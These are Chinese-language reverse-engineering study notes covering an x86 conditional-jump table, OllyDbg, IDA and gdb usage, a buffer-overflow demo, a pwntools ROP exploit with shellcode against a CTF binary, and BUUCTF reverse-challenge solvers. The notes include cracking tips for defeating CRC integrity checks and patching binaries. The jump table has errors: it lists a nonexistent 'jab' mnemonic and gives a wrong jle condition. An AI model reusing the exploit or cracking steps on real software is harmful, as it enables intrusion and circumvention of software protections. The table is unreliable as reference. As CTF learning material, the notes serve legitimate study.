逆向学习
条件跳转指令
| 跳转指令 | 条件 |
|---|---|
| ja | CF=0 和 ZF=0 |
| jab | CF=0 |
| jb | CF=1 |
| jbe | CF=1 或者 ZF=1 |
| jc | CF=1 |
| jcxz | CX=0 |
| je | ZF=1 |
| jecxz | ECX=0 |
| jg | ZF=0 和 SF=OF |
| jge | SF=OF |
| jl | SF!=OF |
| jle | ZF=1 和 SF!=OF |
| jmp | 无条件跳转 |
| jna | CF=1 或者 ZF=1 |
| jnae | CF=1 |
| jnb | CF=0 |
| jnbe | CF=0 和 ZF=0 |
| jnc | CF=0 |
| jne | ZF=0 |
| jng | ZF=1 或者 SF!=OF |
| jnge | SF!=OF |
| jnl | SF=OF |
| jnle | ZF=0 和 SF=OF |
| jno | OF=0 |
| jnp | PF=0 |
| jns | SF=0 |
| jnz | ZF=0 |
| jo | OF=1 |
| jp | PF=1 |
| jpe | PF=1 |
| jpo | PF=0 |
| js | SF=1 |
| jz | ZF=1 |
滴水二进制逆向破解学习笔记
ollydbg
- 暂停,点击按钮k可查看堆栈;点击按钮m可查看内存,右键查找字符串;若程序卡死,点击按钮t,右键选择Resume All Threads
- ctrl+g 搜索:GetWindowTextA,MessageBoxA,SetWindowTextA,CreateWindowExA,GetVerSion
- 若有crc检测,按t访问线程,挂起即可
- 代码段的开始,右键查找->命令->test edx,3 易语言的字符串比较
去掉随机地址:打开CFF Explorer,可选头,DLLCharacteristics

硬件访问断点:

多线程问题:

在第一个push这右键,查找参考,选定命令,选择即可
若加壳,无法保存修改后的文件,可使用工具:

将修改后的二进制数据放入修改指令,填入内存地址即可
ida
g:跳转到地址处
x:交叉引用
nop数据需要16进制:选项,常规,操作码字节数改为16即可

编辑,修补程序,已修补字节,改为nop
gdb基础命令:
file 加载某个程序代码进入内存
attach 附加到进程
start 开始执行
ni 单步
si 单步步入
fin 执行到函数结束
break/b 在给定条件设置断点
c 继续执行
x 可以查看内存
i 可以查看寄存器
layout 显示格式
缓冲区溢出原理:
#include "stdio.h"
#include "string.h"
char name[] = "bmthbmthbmthbmth";
int main()
{
char buffer[8];
strcpy(buffer,name);
printf("%s\n",buffer);
getchar();
return 0;
}
在win32得到反馈,发现程序溢出

- 精确定位返回地址的位置
- 寻找一个合适的地址,用于覆盖原始地址
- 编写shellcode到相应的缓冲区中
填充字符:cyclic 100

例题:
#include <stdio.h>
#include <unistd.h>
void init(){
setvbuf(stdout, NULL, _IOLBF, 0);
}
void welcome(){
write(1, "Welcome to zsctf!\n", 21);
}
void vuln(){
char buffer[8] = {0};
read(0, buffer, 0x40);
}
int main(){
init();
welcome();
vuln();
return 0;
}

首先使程序溢出得到地址


接下来编写shellcode
from pwn import *
import time
bss_addr = 0x804A024
proc = './static'
context.binary = proc
shellcode = asm(shellcraft.sh())
p = process(proc)
p.recvuntil("Welcome to zsctf!")
rop = ROP(proc)
rop.read(0, bss_addr + 0x100, len(shellcode))
rop.call(bss_addr + 0x100)
p.send('a'*20 + str(rop))
time.sleep(1)
p.send(shellcode)
p.interactive()

参考b站up主视频:b站id:君莫笑
BUUCTF之Reverse笔记
xor

str1 = ['f', 0x0A, 'k', 0x0C, 'w', '&', 'O', '.', '@', 0x11, 'x', 0x0D, 'Z', ';', 'U', 0x11, 'p', 0x19, 'F', 0x1F, 'v','"', 'M', '#', 'D', 0x0E, 'g', 6, 'h', 0x0F, 'G', '2', 'O']
x = 'f'
for i in range(1, len(str1)):
if (isinstance(str1[i], str)):
if (isinstance(str1[i - 1], str)):
x += chr(ord(str1[i]) ^ ord(str1[i - 1]))
else:
x += chr(ord(str1[i]) ^ str1[i - 1])
else:
x += chr(str1[i] ^ ord(str1[i - 1]))
print(x)
reverse3
str2 :e3nifIH9b_C@n@dH,为flag经过base64编码后的字符串,再执行相关变换后的值
import base64
str1 = 'e3nifIH9b_C@n@dH'
x = ''
flag = ''
for j in range(0, len(str1)):
x += chr(ord(str1[j]) - j)
flag = base64.b64decode(x)
flag = flag.decode('ASCII')
print(flag)
不一样的flag
迷宫题,有上下左右的功能

只要按照走0不走1即可获取flag,字符串为5个一组
*1111
01000
01010
00010
1111#


浙公网安备 33010602011771号